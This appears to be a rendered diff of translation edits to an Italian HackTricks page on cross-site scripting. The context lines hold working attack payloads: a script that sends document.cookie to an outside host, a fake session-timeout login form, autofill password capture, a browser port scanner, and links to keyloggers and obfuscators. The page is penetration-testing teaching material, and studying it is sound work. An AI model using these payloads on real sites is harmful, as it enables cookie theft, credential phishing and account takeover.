Quando viene utilizzato qualcosa del tipo **`"alcuni dati {{template}}".replace("{{template}}", <input_utente>)`**, l'attaccante potrebbe utilizzare [**sostituzioni di stringhe speciali**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) per cercare di aggirare alcune protezioni: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
Quando viene utilizzato qualcosa del tipo **`"alcuni {{template}} dati".replace("{{template}}", <input_utente>)`**, l'attaccante potrebbe utilizzare [**sostituzioni di stringhe speciali**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) per cercare di aggirare alcune protezioni: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||||||
|
|
||||||
Ad esempio, in [**questo articolo**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato utilizzato per **eludere una stringa JSON** all'interno di uno script ed eseguire codice arbitrario.
|
Ad esempio, in [**questo articolo**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato utilizzato per **eludere una stringa JSON** all'interno di uno script ed eseguire codice arbitrario.
|
||||||
|
|
||||||
|
@ -1022,7 +1018,7 @@ trigger()
|
||||||
```
|
```
|
||||||
### Offuscamento e Bypass Avanzato
|
### Offuscamento e Bypass Avanzato
|
||||||
|
|
||||||
* **Diverse tecniche di offuscamento in una pagina:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
* **Diversi tipi di offuscamento in una pagina:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||||||
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||||||
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||||||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||||||
|
@ -1086,7 +1082,7 @@ trigger()
|
||||||
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
|
||||||
```
|
```
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Non sarà possibile accedere ai cookie da JavaScript se il flag HTTPOnly è impostato nel cookie. Ma qui hai [alcuni modi per aggirare questa protezione](../hacking-with-cookies/#httponly) se sei abbastanza fortunato.
|
Non sarai in grado di accedere ai cookie da JavaScript se il flag HTTPOnly è impostato nel cookie. Ma qui hai [alcuni modi per aggirare questa protezione](../hacking-with-cookies/#httponly) se sei abbastanza fortunato.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### Rubare il contenuto della pagina
|
### Rubare il contenuto della pagina
|
||||||
|
@ -1167,7 +1163,7 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
_I tempi brevi indicano una porta che risponde_ _I tempi più lunghi indicano assenza di risposta._
|
_I tempi brevi indicano una porta che risponde_ _I tempi più lunghi indicano nessuna risposta._
|
||||||
|
|
||||||
Consulta l'elenco delle porte vietate in Chrome [**qui**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) e in Firefox [**qui**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
Consulta l'elenco delle porte vietate in Chrome [**qui**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) e in Firefox [**qui**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||||
|
|
||||||
|
@ -1175,7 +1171,7 @@ Consulta l'elenco delle porte vietate in Chrome [**qui**](https://src.chromium.o
|
||||||
```markup
|
```markup
|
||||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||||
```
|
```
|
||||||
### Cattura delle password di auto-compilazione
|
### Cattura automatica delle password di auto-compilazione
|
||||||
```javascript
|
```javascript
|
||||||
<b>Username:</><br>
|
<b>Username:</><br>
|
||||||
<input name=username id=username>
|
<input name=username id=username>
|
||||||
|
@ -1190,7 +1186,7 @@ Quando vengono inseriti dati nel campo password, lo username e la password vengo
|
||||||
|
|
||||||
### Keylogger
|
### Keylogger
|
||||||
|
|
||||||
Semplicemente cercando su github ne ho trovati alcuni diversi:
|
Basta cercare su github ne ho trovati alcuni diversi:
|
||||||
|
|
||||||
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
* [https://github.com/JohnHoder/Javascript-Keylogger](https://github.com/JohnHoder/Javascript-Keylogger)
|
||||||
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
* [https://github.com/rajeshmajumdar/keylogger](https://github.com/rajeshmajumdar/keylogger)
|
||||||
|
@ -1280,7 +1276,7 @@ Puoi anche utilizzare: [https://xsshunter.com/](https://xsshunter.com)
|
||||||
```
|
```
|
||||||
### Regex - Accesso al Contenuto Nascosto
|
### Regex - Accesso al Contenuto Nascosto
|
||||||
|
|
||||||
Da [**questo articolo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che anche se alcuni valori scompaiono da JS, è comunque possibile trovarli negli attributi JS in diversi oggetti. Ad esempio, è ancora possibile trovare un input di un REGEX dopo che il valore dell'input del regex è stato rimosso:
|
Da [**questo articolo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che anche se alcuni valori scompaiono da JS, è comunque possibile trovarli negli attributi JS in diversi oggetti. Ad esempio, un input di un REGEX è ancora possibile trovarlo dopo che il valore dell'input del regex è stato rimosso:
|
||||||
```javascript
|
```javascript
|
||||||
// Do regex with flag
|
// Do regex with flag
|
||||||
flag="CTF{FLAG}"
|
flag="CTF{FLAG}"
|
||||||
|
@ -1327,7 +1323,7 @@ Quindi, se il **bot creatore di PDF trova** qualche tipo di **tag HTML**, li **i
|
||||||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||||||
{% endcontent-ref %}
|
{% endcontent-ref %}
|
||||||
|
|
||||||
Se non riesci a iniettare tag HTML, potrebbe valere la pena provare a **iniettare dati PDF**:
|
Se non riesci a iniettare tag HTML potrebbe valere la pena provare a **iniettare dati PDF**:
|
||||||
|
|
||||||
{% content-ref url="pdf-injection.md" %}
|
{% content-ref url="pdf-injection.md" %}
|
||||||
[pdf-injection.md](pdf-injection.md)
|
[pdf-injection.md](pdf-injection.md)
|
||||||
|
@ -1415,9 +1411,9 @@ Trova **altri payload SVG in** [**https://github.com/allanlw/svg-cheatsheet**](h
|
||||||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, scritto e parlato_).
|
Se sei interessato a una **carriera nel campo dell'hacking** e vuoi hackerare l'inviolabile - **stiamo assumendo!** (_richiesta competenza fluente in polacco, scritta e parlata_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
|
@ -1431,6 +1427,6 @@ Altri modi per supportare HackTricks:
|
||||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|